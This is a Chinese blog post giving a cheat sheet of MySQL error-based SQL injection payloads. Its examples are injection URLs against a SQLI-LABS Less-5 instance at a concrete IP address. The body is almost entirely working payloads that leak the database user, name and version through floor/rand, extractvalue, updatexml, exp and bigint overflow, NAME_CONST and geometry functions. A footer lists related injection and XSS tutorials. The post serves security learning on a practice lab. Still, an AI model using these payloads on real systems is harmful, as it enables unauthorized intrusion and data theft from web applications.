SQL注入之报错注入的一些随笔

2023-11-07

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

0x07.总结

  1. floor()
    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    information_schema.tables group by x)a)
  2. updatexml()
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
  3. extractvalue()
    and extractvalue(1,concat(0x5c,(select user())))
  4. exp()
    and exp(~(select * from(select user())a))
  5. multipoint()
    and multipoint((select * from(select * from(select user())a)b))
  6. geometrycollection()
    and geometrycollection((select * from(select * from(select user())a)b))
  7. polygon()
    and polygon((select * from(select * from(select user())a)b))
  8. multipolygon()
    and multipolygon((select * from(select * from(select user())a)b))
  9. linestring()
    and linestring((select * from(select * from(select user())a)b))
  10. multilinestring()
    and multilinestring((select * from(select * from(select user())a)b))

参考链接:

1.《mysql注入天书》

2.《MySQL暴错注入方法整理》

3.《代码审计:企业级Web代码安全架构》

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入之报错注入的一些随笔 的相关文章

  • 利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

    原理啊 成因啊就不再啰嗦了 直接上实现过程 一 环境 攻击机 192 168 67 140 目标主机 192 168 67 143 二 实际操作 利用mysql的读写文件函数进行文件的读取 在目标主机的 win7 2 E盘下新建一个flag
  • 深入解析sprintf格式化字符串漏洞

    深入解析sprintf格式化字符串漏洞 0x00 前言 从相遇到相识 从相识到相知 不过你真的懂ta吗 这次故事的主角是PHP中的格式化函数sprintf 0x01 sprintf 讲解 首先我们先了解sprintf 函数 sprintf
  • sqli-labs-less-12 PODT传参+有回显信息(图文详解)

    Less 12 post传递参数 由于是post传参 我们先用burp suite抓包 分析报文体 获取传参过程 得到报文体之后使用hackbar插件中的post data进行注入实验 判断闭合方式 uname or 1 1 passwd
  • 封神台——Cookie伪造目标权限(存储型XSS)

    点击传送门看到的是一个留言板 我们首先要判断是否存在XSS 于是输入一串JS代码 看是否会弹出一个内容为 zkaq 的弹窗 出现了 说明存在XSS漏洞 关于XSS漏洞的科普如下 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代
  • sqli-labs(28-28a)

    Less 28 1 测试http 127 0 0 1 sqli labs Less 28 id 1 27 页面回显不正常 但又没有错误提示 报错注入没戏 尝试闭合语句 加单引号回显不正常 说明sql语句闭合至少有 可能有 判断有无 在Les
  • sqli-labs Less-4

    本系列文章使用的靶场环境为sqli labs 环境下载地址 https github com Audi 1 sqli labs 持续跟新 一直到通过此靶场为止 1 判断注入类型 index php id 1 单引号回显正常 双引号会报错 然
  • sqli-labs:less-27(过滤select和union)

    div div
  • iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • 实验吧——认真一点!

    coding utf8 import requests import urllib 设置代理 用于调试过程中抓包分析 proxies http http localhost 9008 https http localhost 9008 he
  • sql注入之万能密码总结

    sql注入之万能密码总结 万能密码 万能密码原理 万能密码 asp aspx万能密码 PHP万能密码 jsp 万能密码 万能密码 啊这 一般用来ctf登录的时候试试 这是sqli labs用的时候 我来记录一下 万能密码原理 原验证登陆语句
  • sqli labs less 25

    按照常规输入id 1 提示报错信息如下 一个很常见的报错 可以看出是单引号闭合的语句 输入 id 1 or 1 报出的错误信息不明显 加入一个括号进行试探能不能报出更多的语句错误 输入 id 1 or 1 从上图看出来or 被屏蔽了 经过更
  • sqli-labs通关(less1~less10)

    目录 题外话 Less 1 Less 2 Less 3 Less 4 Less 5 Less 6 Less 7 Less 8 Less 9 Less 10 这10关都是GET型的 包括了union注入 报错注入 布尔盲注和时间盲注 虽然包含
  • Sqlilabs-19

    第 19 关跟第 18 关类似 User Agent 改成了 Referer 改造注入 Referer 浏览器向 WEB 服务器表明自己是从哪个网页 URL 获得 点击 当前请求中的网址 URL 同样的 这一关对 usernanme 和 p
  • 苹果IOS手机设置BurpSuite抓包(详细步骤)

    0 01 添加BP的Proxy Listeners 点击Add添加 端口填写8080 然后选择Specific address 选手机和电脑同时在的那个IP区段 IP具体查询方式使用Win R 输入ipconfig 然后看这个 在Speci
  • 基于Sqli-Labs靶场的SQL注入-29~31关

    目录 Less 29 基于GET 双服务器 单引号 字符型注入 双服务器解析 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 30 基于GET 双服务器 双引号 字符型注入 Less 31 基于GET 双服务器 双引号加括号 字符型
  • SQL注入原理-报错盲注

    小伙伴们大家好 本期为大家带来的内容是SQL注入原理之报错盲注 目录 为什么要使用报错盲注 常见的报错函数 updatexml 函数 extractvalue 函数 实战演示 1 检测是否存在注入点 2 执行报错语句爆出数据 1 爆出当前数
  • 偏移注入payload构造技巧实战+Access注入

    url http 218 245 4 113 8888 web03 ca55022fa7ae5c29d179041883fe1556 index asp id 886 拿到url 虽然知道肯定是id是注入点 但还是写一下完整思路 1 拿到界
  • sqli-labs解题大法29 ~40

    Less 29 堆叠查询 在一条语句之后加上分号 然后接下一条语句 可以一次执行多条语句 order by 排序 可以 联合查询 可以 参考Less 1 Background 6 服务器 两层 架构 http www cnblogs com
  • 基于Sql-Labs靶场的SQL注入-11~16关

    目录 Less 11 基于POST表单提交方式的字符型注入 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 12 基于POST表单提交方式的字符型注入 Less 13 基于POST表单提交方式的报错注入 爆破数据库名 爆破表名 爆破
  • 渗透测试——报错注入

    1 报错注入原理 由于后台没有对数据库的信息做过滤 会输出到前台显示 那么我们就可以通过制造报错函数 将查询语句带入到数据库中 以报错信息显示出来 2 报错注入漏洞产生的条件 1 参数用户可控 前端传入的参数内容由用户控制 2 参数带入数据

随机推荐